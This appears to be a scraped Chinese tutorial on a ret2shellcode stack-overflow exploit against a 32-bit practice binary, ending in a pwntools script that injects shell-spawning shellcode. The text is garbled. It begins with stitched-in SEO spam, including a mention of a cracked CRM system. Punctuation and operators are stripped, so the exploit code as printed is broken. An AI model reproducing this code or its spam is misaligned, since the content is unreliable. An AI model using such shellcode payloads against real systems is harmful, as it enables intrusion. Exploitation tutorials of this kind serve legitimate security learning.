如何快速建立一个网站,免费crm客户管理系统破解版,精准营销的成功案例,wordpress 个性图标参考#xff1a;栈溢出实例–笔记二#xff08;ret2shellcode#xff09; 地址#xff1a;https://qingmu.blog.csdn.net/article/details/119303513 目录1、栈溢出含义及栈结构2、ret2shellcode基本思路3、实战一下3.1、二进制程序如下3.2、分析调试查看栈3.3、编写payloa… 参考栈溢出实例–笔记二ret2shellcode 地址https://qingmu.blog.csdn.net/article/details/119303513 目录1、栈溢出含义及栈结构2、ret2shellcode基本思路3、实战一下3.1、二进制程序如下3.2、分析调试查看栈3.3、编写payload获取shell3.4、操作结果1、栈溢出含义及栈结构
请参考前一篇博文
2、ret2shellcode基本思路
ret2shellcode需要我们控制程序执行shellcode代码。即ret2shellcode的目标就是在栈上写入布局好的shellcode利用ret-address返回到shellcode出执行我们的shellcode代码。
注意在栈溢出的基础上我们都是向栈中写入内容所以要执行shellcode需要对应的binary文件没有开启NX栈不可执行保护。
补充什么是shellcode shellcode指的是用于完成某个功能的汇编代码常见的功能主要是获取目标系统的shell。
3、实战一下
3.1、二进制程序如下 可以看出这个程序是个32位的程序什么保护机制都没开。
部分汇编如下 反汇编伪代码如下 我们发现这里有gets函数并且未对输入的s做限制那么肯定是通过s写入更多的内容来做栈溢出。
3.2、分析调试查看栈
我们运行到gets函数查看栈结构 此时栈的第一个参数的地址为0xffffd3fcs的地址为0xf7ffd000。
此时我们想执行我们的shellcode肯定要覆盖ret-address的地址嘛ret-address的地址就在ebp的后面。 此时我们eaxgets函数第一个参数地址的地址为0xffffd3fc ebp地址为0xffffd468 ret-address的地址为0xffffd46c
所以我们想覆盖到ebp不包含ebp的话就需要0xffffd468-0xffffd3fc0x6c 长度的字符串 覆盖ebp的话就得在家0x4个字节此时就到了ret-address的地址了这里就得跳到我们的shellcode的地址。
但是得注意我们的shellcode是在man结束后覆盖的返回值地址那么此时gets函数的栈会被清空或者覆盖或者释放掉。那么此时我们覆盖的ret-address地址会找不到。但是我们发现 这个buf2是个bss段的地址那么buf2的地址是不会变的我们就可以让程序调到buf2的地址来运行我们的shellcode。
3.3、编写payload获取shell
和上篇文章一样使用Python来写。
# codingUTF-8
from pwn import * #引用pwn库
p process(./ret2shellcode) #指定程序
buf2_addr 0x0804A080 #放置执行shellcode的地址
sc asm(shellcraft.sh()) #生成shellcode
payload sc.ljust(0x6c4,a) p32(buf2_addr) # 构造payload
p.sendlineafter(No system for you this time !!!\n,payload) #在“No system for you this time !!!\n”后开始用payload覆盖栈
p.interactive() #生成一个shell与我们的shellcode交互3.4、操作结果 此时已经成功的拿到了shell。